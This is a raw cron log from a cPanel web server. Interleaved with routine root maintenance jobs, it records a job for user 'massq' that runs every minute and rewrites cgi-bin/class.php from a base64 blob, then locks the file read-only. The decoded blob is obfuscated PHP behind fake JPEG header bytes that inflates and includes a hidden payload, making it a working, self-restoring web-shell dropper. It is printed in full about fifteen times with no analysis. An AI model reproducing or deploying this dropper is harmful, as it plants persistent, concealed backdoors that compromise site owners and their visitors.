Nov 10 16:06:01 server CROND[28431]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:07:01 server CROND[29302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:08:01 server CROND[30239]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:09:01 server CROND[31076]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 16:09:01 server CROND[31077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:10:01 server CROND[32093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:10:01 server CROND[32095]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 16:10:01 server CROND[32094]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:10:01 server CROND[32097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:11:01 server CROND[506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:12:01 server CROND[1339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:12:01 server CROND[1340]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 16:13:01 server CROND[2153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:14:01 server CROND[3071]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:15:01 server CROND[3621]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:15:01 server CROND[3622]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 16:15:01 server CROND[3624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:15:01 server CROND[3623]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 16:16:01 server CROND[4435]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:17:01 server CROND[4743]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 16:18:01 server CROND[5560]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
